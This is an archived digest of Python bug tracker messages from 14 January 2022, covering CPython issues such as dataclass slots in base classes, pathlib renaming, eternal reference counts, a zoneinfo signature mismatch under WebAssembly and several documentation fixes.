Change PYLONG_BITS_IN_DIGIT default to 30 (GH-30497) https://github.com/python/cpython/commit/025cbe7a9b5d3058ce2eb8015d3650e396004545 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:02:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 19:02:39 +0000 Subject: [issue45737] assertLogs to optionally not disable existing handlers In-Reply-To: <1636200532.3.0.526903352151.issue45737@roundup.psfhosted.org> Message-ID: <1642186959.76.0.383089409285.issue45737@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:17:02 2022 From: report at bugs.python.org (Barney Gale) Date: Fri, 14 Jan 2022 19:17:02 +0000 Subject: [issue46317] Pathlib.rename isn't robust In-Reply-To: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> Message-ID: <1642187822.29.0.648740412057.issue46317@roundup.psfhosted.org> Barney Gale added the comment: Sounds good. Would you expose the `copy_function` argument in pathlib, or do something else (like `metadata=True`)? ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:31:43 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Fri, 14 Jan 2022 19:31:43 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes Message-ID: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> New submission from Arie Bovenberg : @dataclass(slots=True) adds slots to dataclasses. It adds a slot per field. However, it doesn't account for slots already present in base classes: >>> class Base: ... __slots__ = ('a', ) ... >>> @dataclass(slots=True) ... class Foo(Base): ... a: int ... b: float ... >>> Foo.__slots__ ('a', 'b') # should be: ('b', ) The __slots__ documentation says: If a class defines a slot also defined in a base class, the instance variable defined by the base class slot is inaccessible (except by retrieving its descriptor directly from the base class). This renders the meaning of the program undefined. In the future, a check may be added to prevent this. Solution: don't add slots which are already defined in any base classes: >>> @dataclass ... class Bla(Base): ... __slots__ = ('b', ) ... a: int ... b: float ... >>> Bla(4, 5.65) Bla(a=4, b=5.65) If you agree, I'd like to submit a PR to fix this. I already have a prototype working. ---------- components: Library (Lib) messages: 410591 nosy: ariebovenberg priority: normal severity: normal status: open title: dataclass(slots=True) does not account for slots in base classes type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:39:46 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 14 Jan 2022 19:39:46 +0000 Subject: [issue40255] Fixing Copy on Writes from reference counting In-Reply-To: <1586619621.82.0.553262088399.issue40255@roundup.psfhosted.org> Message-ID: <1642189186.43.0.839342202949.issue40255@roundup.psfhosted.org> Gregory P. Smith added the comment: [data] I finally dug up the old YouTube doc at work with their findings. Mostly just posting this here for future public reference if anyone wants. Nothing surprising. When youtube experimented with a modified 2.7 adding "eternal refcounts" in 2015, they saw a 3-5% CPU performance regression. (not the 10% I had in my mind) Their version of this simply set a high bit on the refcount as the indicator and added the obvious conditional into the Py_INCREF/Py_DECREF macros. Unsurprisingly in line with what others have since found. For their preforked server and decision of what to mark eternal before forking, it saved them 10% ram (fewer copy on writes). The -ram vs +cpu +maintenance cost tradeoff wound up not being worthwhile to them though. Their motivation for trying was entirely COW memory savings. === CPython 2.7 object.h modification they used: ``` +#ifdef GOOGLE_ETERNAL_REFCOUNT_SUPPORT + +#define PY_ETERNAL_REFCOUNT (PY_SSIZE_T_MAX / 2) + +#define Py_IS_ETERNAL(op) ( \ + ((PyObject*)(op))->ob_refcnt >= PY_ETERNAL_REFCOUNT) + +#define Py_SET_ETERNAL(op) \ + do { \ + ((PyObject*)(op))->ob_refcnt = PY_ETERNAL_REFCOUNT; \ + if (PyObject_IS_GC(op)) { \ + PyObject_GC_UnTrack(op); \ + } \ + } while (0) + +#define Py_INCREF(op) ( \ + Py_IS_ETERNAL(op) \ + ? PY_ETERNAL_REFCOUNT \ + : (_Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \ + ((PyObject*)(op))->ob_refcnt++) \ + ) + +#define Py_DECREF(op) \ + do { \ + if (Py_IS_ETERNAL(op)) break; \ + if (_Py_DEC_REFTOTAL _Py_REF_DEBUG_COMMA \ + --((PyObject*)(op))->ob_refcnt != 0) \ + _Py_CHECK_REFCNT(op) \ + else \ + _Py_Dealloc((PyObject *)(op)); \ + } while (0) + +#else ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:45:01 2022 From: report at bugs.python.org (Oz Tiram) Date: Fri, 14 Jan 2022 19:45:01 +0000 Subject: [issue46317] Pathlib.rename isn't robust In-Reply-To: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> Message-ID: <1642189501.21.0.68231289062.issue46317@roundup.psfhosted.org> Oz Tiram added the comment: @barney, I am not sure that I understand your question. I think adding another method `Pathlib.Path` and `Pathlib._Accessor` is my preferred way. The would be something like: class _NormalAccessor(_Accessor): ... self.move = shutil.move class Path: .... def move(self, src, dest): self._accessor.move(self, target) return self.__class__(target) Now, this is hardly a patch. I need to submit a PR with proper docs, tests and NEWS entry... I will be glad to work on it. However, I guess I need someone to "sponsor" it and merge it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:51:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 19:51:10 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature Message-ID: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> New submission from Christian Heimes : The zoneinfo C extension has the "freefunc m_free" function with signature "static void module_free(void)". The signature of freefunc is "void (*freefunc)(void *)". It takes a void * argument, but module_free() does not. The signature mismatch is not a problem for most C compilers. But Web Assembly is more strict. wasm32-emscripten fails and aborts at runtime: worker.js onmessage() captured an uncaught exception: RuntimeError: function signature mismatch Pthread 0x8a1df0 sent an error! undefined:undefined: function signature mismatch /python-wasm/cpython/builddir/node/python.js:158 throw ex; ^ Error [RuntimeError]: function signature mismatch at module_dealloc (:wasm-function[1883]:0x9a15e) at _Py_Dealloc (:wasm-function[1959]:0x9eabe) at insertdict (:wasm-function[1624]:0x87ccb) at _PyDict_SetItem_Take2 (:wasm-function[1622]:0x8749c) at dict_ass_sub (:wasm-function[1708]:0x8e604) at PyObject_SetItem (:wasm-function[486]:0x34221) at finalize_modules (:wasm-function[3644]:0x1703d0) at Py_FinalizeEx (:wasm-function[3641]:0x16f986) at Py_RunMain (:wasm-function[4055]:0x191124) at pymain_main (:wasm-function[4058]:0x19174d) Emitted 'error' event on process instance at: at emitUnhandledRejectionOrErr (internal/event_target.js:579:11) at MessagePort.[nodejs.internal.kHybridDispatch] (internal/event_target.js:403:9) at MessagePort.exports.emitMessage (internal/per_context/messageport.js:18:26) ---------- assignee: christian.heimes components: Extension Modules messages: 410594 nosy: christian.heimes, p-ganssle priority: normal severity: normal status: open title: _zoneinfo module_free has invalid function signature type: crash versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:56:41 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 19:56:41 +0000 Subject: [issue46383] _zoneinfo module_free has invalid function signature In-Reply-To: <1642189870.23.0.585982276736.issue46383@roundup.psfhosted.org> Message-ID: <1642190201.83.0.287453233778.issue46383@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +28807 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30607 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:57:36 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 Jan 2022 19:57:36 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642190256.45.0.513473932093.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- dependencies: +_zoneinfo module_free has invalid function signature _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 14:59:17 2022 From: report at bugs.python.org (Barney Gale) Date: Fri, 14 Jan 2022 19:59:17 +0000 Subject: [issue46317] Pathlib.rename isn't robust In-Reply-To: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> Message-ID: <1642190357.24.0.988754226469.issue46317@roundup.psfhosted.org> Barney Gale added the comment: shutil.move() accepts a `copy_function` argument: shutil.move(src, dst, copy_function=copy2) It's possible to set `copy_function=copy` to skip copying file metadata. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:05:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 20:05:13 +0000 Subject: [issue46017] Tutorial incorrectly refers to skits rather than sketches. In-Reply-To: <1639002186.7.0.719126864665.issue46017@roundup.psfhosted.org> Message-ID: <1642190713.69.0.521251263084.issue46017@roundup.psfhosted.org> Irit Katriel added the comment: I asked a Monty Python expert and he said I should close this. ---------- nosy: +iritkatriel stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:07:28 2022 From: report at bugs.python.org (Matt B) Date: Fri, 14 Jan 2022 20:07:28 +0000 Subject: [issue46133] Feature request: allow mechanism for creator of exec-generated code to provide source to pdb In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642190848.4.0.749825664095.issue46133@roundup.psfhosted.org> Change by Matt B : ---------- status: closed -> open title: Unclear whether one can (or how to) provide source to exec-generated code -> Feature request: allow mechanism for creator of exec-generated code to provide source to pdb type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:07:45 2022 From: report at bugs.python.org (Matt B) Date: Fri, 14 Jan 2022 20:07:45 +0000 Subject: [issue46133] Feature request: allow mechanism for creator of exec-generated code to provide source to pdb In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642190865.53.0.33125182884.issue46133@roundup.psfhosted.org> Change by Matt B : ---------- resolution: not a bug -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:08:32 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 20:08:32 +0000 Subject: [issue46133] Feature request: allow mechanism for creator of exec-generated code to provide source to pdb In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642190912.94.0.930574950085.issue46133@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: resolved -> versions: -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:08:42 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 20:08:42 +0000 Subject: [issue46133] Feature request: allow mechanism for creator of exec-generated code to provide source to pdb In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642190922.54.0.934879878713.issue46133@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: -iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:09:00 2022 From: report at bugs.python.org (Matt B) Date: Fri, 14 Jan 2022 20:09:00 +0000 Subject: [issue46133] Feature request: allow mechanism for creator of exec-generated code to provide source to pdb In-Reply-To: <1639930673.95.0.69918856393.issue46133@roundup.psfhosted.org> Message-ID: <1642190940.3.0.477129636938.issue46133@roundup.psfhosted.org> Matt B added the comment: Please treat this as a feature request to add the ability for pdb (and internals) to ingest sources for exec-generated code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:11:58 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 Jan 2022 20:11:58 +0000 Subject: [issue46380] `test_functools.TestLRU` must not use `functools` module directly In-Reply-To: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org> Message-ID: <1642191118.45.0.299943403268.issue46380@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:16:14 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 Jan 2022 20:16:14 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries In-Reply-To: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> Message-ID: <1642191374.05.0.845511904562.issue46379@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:30:01 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 Jan 2022 20:30:01 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries In-Reply-To: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> Message-ID: <1642192201.49.0.771893477547.issue46379@roundup.psfhosted.org> Raymond Hettinger added the comment: Markus, thank you for the suggestion but I'm going to decline. When this rough equivalent was first created, we looked at several recipes and chose this one as being one of the least magical. Intentionally, we did not use the variant you've proposed. To a person well versed in recursion and in generator chains it makes sense but not so much for anyone else. Plus it is hard to step through by hand to see what it is doing. In general, the rough equivalents were intended to a way to understand what output is going to be generated. That is why they are mostly simple rather than being faithful to the actual implementations (otherwise, we would use classes rather than generators for all the equivalents). Viewed in this light, we place almost zero weight to making the recipe memory efficient with respect to temporary variables. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 15:33:55 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 Jan 2022 20:33:55 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries In-Reply-To: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> Message-ID: <1642192435.22.0.397262816374.issue46379@roundup.psfhosted.org> Raymond Hettinger added the comment: Please do keep looking for improvements. Suggestions are always welcome. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 16:13:54 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 Jan 2022 21:13:54 +0000 Subject: [issue46380] `test_functools.TestLRU` must not use `functools` module directly In-Reply-To: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org> Message-ID: <1642194834.01.0.790623409383.issue46380@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset c5640ef87511c960e339af37b486678788be910a by Nikita Sobolev in branch 'main': bpo-46380: Apply tests to both C and Python version (GH-30606) https://github.com/python/cpython/commit/c5640ef87511c960e339af37b486678788be910a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 16:14:23 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 Jan 2022 21:14:23 +0000 Subject: [issue46380] `test_functools.TestLRU` must not use `functools` module directly In-Reply-To: <1642183054.5.0.671843875323.issue46380@roundup.psfhosted.org> Message-ID: <1642194863.46.0.561226321482.issue46380@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 16:32:28 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 14 Jan 2022 21:32:28 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642195948.13.0.188411059642.issue46382@roundup.psfhosted.org> Eric V. Smith added the comment: I'll have to do some more research. But your analysis looks correct to me, so far. ---------- assignee: -> eric.smith nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 16:41:44 2022 From: report at bugs.python.org (Andre Roberge) Date: Fri, 14 Jan 2022 21:41:44 +0000 Subject: [issue43476] Enabling access to showsyntaxerror for IDLE's shell In-Reply-To: <1615495137.57.0.647569220862.issue43476@roundup.psfhosted.org> Message-ID: <1642196504.54.0.354738498406.issue43476@roundup.psfhosted.org> Andre Roberge added the comment: As far as I am concerned, this issue can be closed. I have found a workaround which allows me to reproduce and analyze the SyntaxError that are not captured by custom exception hook. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:18:22 2022 From: report at bugs.python.org (Ethan Furman) Date: Fri, 14 Jan 2022 22:18:22 +0000 Subject: [issue46242] Improve error message when attempting to extend an enum with `__call__` In-Reply-To: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> Message-ID: <1642198702.52.0.310023617497.issue46242@roundup.psfhosted.org> Ethan Furman added the comment: New changeset e674e48ddc2712f28cc7ecdc66a6c328066694b0 by Nikita Sobolev in branch 'main': bpo-46242: [Enum] better error message for extending `Enum` with members (GH-30357) https://github.com/python/cpython/commit/e674e48ddc2712f28cc7ecdc66a6c328066694b0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:49:22 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 22:49:22 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1642200562.8.0.680169320815.issue20281@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 7.0 -> 8.0 pull_requests: +28808 pull_request: https://github.com/python/cpython/pull/30608 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:49:22 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 22:49:22 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642200562.94.0.101681702615.issue29964@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 7.0 -> 8.0 pull_requests: +28809 pull_request: https://github.com/python/cpython/pull/30608 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:49:23 2022 From: report at bugs.python.org (Brett Cannon) Date: Fri, 14 Jan 2022 22:49:23 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1642200563.41.0.453906941247.issue20281@roundup.psfhosted.org> Brett Cannon added the comment: New changeset 305588c67cdede4ef127ada90c1557bc1ef7c200 by Hugo van Kemenade in branch 'main': bpo-20281, bpo-29964: update datetime docs to refer %z and %Z to a pre-existing footnote (GH-30354) https://github.com/python/cpython/commit/305588c67cdede4ef127ada90c1557bc1ef7c200 ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:49:23 2022 From: report at bugs.python.org (Brett Cannon) Date: Fri, 14 Jan 2022 22:49:23 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642200563.61.0.192760086841.issue29964@roundup.psfhosted.org> Brett Cannon added the comment: New changeset 305588c67cdede4ef127ada90c1557bc1ef7c200 by Hugo van Kemenade in branch 'main': bpo-20281, bpo-29964: update datetime docs to refer %z and %Z to a pre-existing footnote (GH-30354) https://github.com/python/cpython/commit/305588c67cdede4ef127ada90c1557bc1ef7c200 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:49:27 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 22:49:27 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1642200567.9.0.721314301182.issue20281@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28810 pull_request: https://github.com/python/cpython/pull/30609 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:49:28 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 22:49:28 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642200568.11.0.158151742648.issue29964@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28811 pull_request: https://github.com/python/cpython/pull/30609 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:50:05 2022 From: report at bugs.python.org (Ken Williams) Date: Fri, 14 Jan 2022 22:50:05 +0000 Subject: [issue29985] make install doesn't seem to support --quiet In-Reply-To: <1491343254.68.0.574187952476.issue29985@psf.upfronthosting.co.za> Message-ID: <1642200605.53.0.641435208266.issue29985@roundup.psfhosted.org> Ken Williams added the comment: Thanks Irit - yes, the behavior with 3.9 and 3.10 is the same, and their Makefiles seem to have the same unguarded `echo` statements emitting the output. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:58:52 2022 From: report at bugs.python.org (Markus Wallerberger) Date: Fri, 14 Jan 2022 22:58:52 +0000 Subject: [issue46379] itertools.product reference implementation creates temporaries In-Reply-To: <1642182114.77.0.464829533122.issue46379@roundup.psfhosted.org> Message-ID: <1642201132.93.0.118008242697.issue46379@roundup.psfhosted.org> Markus Wallerberger added the comment: > To a person well versed in recursion and in generator chains it makes sense but not so much for anyone else. There I pretty much fundamentally disagree. I find the version in the docs much more magical in the sense that it builds up "laterally", i.e., level-by-level, rather than element-by-element. Also, I think from a functional programming perspective, which, let's face it, is what these iteration/generator tools are really modelling, a recursive version is much more natural. It also generalizes nicely to other problems which people may be having -- so it has the added benefit of explaining the code and teaching people useful patterns. Take the itertools.permutation as an example: writing that as it was in the reference implementation the code is IMHO pretty opaque and hard to reason about. Write it in a recursive style and both its working and correctness is immediately obvious. > Plus it is hard to step through by hand to see what it is doing. This I agree with. Anyway, thanks for taking the time to explain the rejection. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 17:58:53 2022 From: report at bugs.python.org (Paul Pinterits) Date: Fri, 14 Jan 2022 22:58:53 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642201133.03.0.549150116284.issue29964@roundup.psfhosted.org> Change by Paul Pinterits : ---------- nosy: -Paul Pinterits _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 18:05:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 Jan 2022 23:05:36 +0000 Subject: [issue29985] make install doesn't seem to support --quiet In-Reply-To: <1491343254.68.0.574187952476.issue29985@psf.upfronthosting.co.za> Message-ID: <1642201536.37.0.475501589517.issue29985@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.11, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 18:31:22 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 14 Jan 2022 23:31:22 +0000 Subject: [issue46247] in xml.dom.minidom, Node and DocumentLS appear to be missing __slots__ In-Reply-To: <1641235275.89.0.835733921244.issue46247@roundup.psfhosted.org> Message-ID: <1642203082.86.0.427392057359.issue46247@roundup.psfhosted.org> Change by ?ric Araujo : ---------- versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 18:58:17 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 14 Jan 2022 23:58:17 +0000 Subject: [issue46242] Improve error message when attempting to extend an enum with `__call__` In-Reply-To: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> Message-ID: <1642204697.02.0.588106457662.issue46242@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 18:59:35 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 23:59:35 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1642204775.58.0.594361784865.issue20281@roundup.psfhosted.org> miss-islington added the comment: New changeset 93dc1654dc3c925c062e19f0ef8587aa8961ef8a by Miss Islington (bot) in branch '3.10': bpo-20281, bpo-29964: update datetime docs to refer %z and %Z to a pre-existing footnote (GH-30354) https://github.com/python/cpython/commit/93dc1654dc3c925c062e19f0ef8587aa8961ef8a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 18:59:35 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 23:59:35 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642204775.8.0.659901463662.issue29964@roundup.psfhosted.org> miss-islington added the comment: New changeset 93dc1654dc3c925c062e19f0ef8587aa8961ef8a by Miss Islington (bot) in branch '3.10': bpo-20281, bpo-29964: update datetime docs to refer %z and %Z to a pre-existing footnote (GH-30354) https://github.com/python/cpython/commit/93dc1654dc3c925c062e19f0ef8587aa8961ef8a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 19:00:00 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 15 Jan 2022 00:00:00 +0000 Subject: [issue20281] [doc] time.strftime %z format specifier is the same as %Z In-Reply-To: <1389897342.88.0.737767593135.issue20281@psf.upfronthosting.co.za> Message-ID: <1642204800.13.0.52814385749.issue20281@roundup.psfhosted.org> miss-islington added the comment: New changeset f869b56fe4be416d356fffc94b8b18fe65039929 by Miss Islington (bot) in branch '3.9': bpo-20281, bpo-29964: update datetime docs to refer %z and %Z to a pre-existing footnote (GH-30354) https://github.com/python/cpython/commit/f869b56fe4be416d356fffc94b8b18fe65039929 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 19:00:01 2022 From: report at bugs.python.org (miss-islington) Date: Sat, 15 Jan 2022 00:00:01 +0000 Subject: [issue29964] [doc] %z directive has no effect on the output of time.strptime In-Reply-To: <1491164378.66.0.775281160942.issue29964@psf.upfronthosting.co.za> Message-ID: <1642204801.16.0.951448023936.issue29964@roundup.psfhosted.org> miss-islington added the comment: New changeset f869b56fe4be416d356fffc94b8b18fe65039929 by Miss Islington (bot) in branch '3.9': bpo-20281, bpo-29964: update datetime docs to refer %z and %Z to a pre-existing footnote (GH-30354) https://github.com/python/cpython/commit/f869b56fe4be416d356fffc94b8b18fe65039929 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 19:10:58 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 15 Jan 2022 00:10:58 +0000 Subject: [issue46367] multiprocessing's "spawn" doesn't actually use spawn In-Reply-To: <1642101659.38.0.387431242507.issue46367@roundup.psfhosted.org> Message-ID: <1642205458.33.0.328228361035.issue46367@roundup.psfhosted.org> STINNER Victor added the comment: > It appears the `multiprocessing`'s "spawn" mode doesn't actually use POSIX spawn, but instead uses fork+exec[1]. The documentation doesn't pretend to use posix_spawn(). It only says: "starts a fresh python interpreter process". https://docs.python.org/dev/library/multiprocessing.html#contexts-and-start-methods I suggest to close the issue as "not a bug". I don't see anything wrong in the current documentation. -- posix_spawn() is a function of the C library. It is implemented as fork+exec on most operating systems. I'm only aware of macOS which has a dedicated syscall. Well, posix_spawn() implementation is usually faster thanks to some optimizations. Python has os.posix_spawn() since Python 3.8. The subprocess can use os.posix_spawn() on Linux under some conditions: https://docs.python.org/dev/whatsnew/3.8.html#optimizations Sadly, it's not used by default, since close_fds=True remains subprocess.Popen() default. I'm open to use it on more platforms. os.posix_spawn() can only be used if it reports properly errors to the parent process, and some other things and bugs. It's a complex function! -- Oh, about multiprocessing. Well, someone has to propose a patch! I don't know why multiprocessing uses directly _posixsubprocess.fork_exec() rather than the subprocess module. It's also a complex module with many specific constraints. posix_spawn() looks nice, but it cannot be used in many cases :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 19:12:52 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 15 Jan 2022 00:12:52 +0000 Subject: [issue40255] Fixing Copy on Writes from reference counting In-Reply-To: <1586619621.82.0.553262088399.issue40255@roundup.psfhosted.org> Message-ID: <1642205572.98.0.365624337675.issue40255@roundup.psfhosted.org> STINNER Victor added the comment: I just want to say that GOOGLE_ETERNAL_REFCOUNT_SUPPORT is a cool name :-D I love "eternal refcount"! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 19:36:22 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 15 Jan 2022 00:36:22 +0000 Subject: [issue45522] Allow to build Python without freelists In-Reply-To: <1634641564.68.0.977403045358.issue45522@roundup.psfhosted.org> Message-ID: <1642206982.58.0.0185759774089.issue45522@roundup.psfhosted.org> STINNER Victor added the comment: > Freelists for object structs can now be disabled. A new configure option --without-freelists can be used to disable all freelists except empty tuple singleton. (Contributed by Christian Heimes in bpo-45522) Can you please document the new configuration option in https://docs.python.org/dev/using/configure.html ? When you write :option:`--without-freelists` in what's new in Python 3.11 to get a link ;-) ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 14 21:25:06 2022 From: report at bugs.python.org (Hiroshi Miura) Date: Sat, 15 Jan 2022 02:25:06 +0000 Subject: 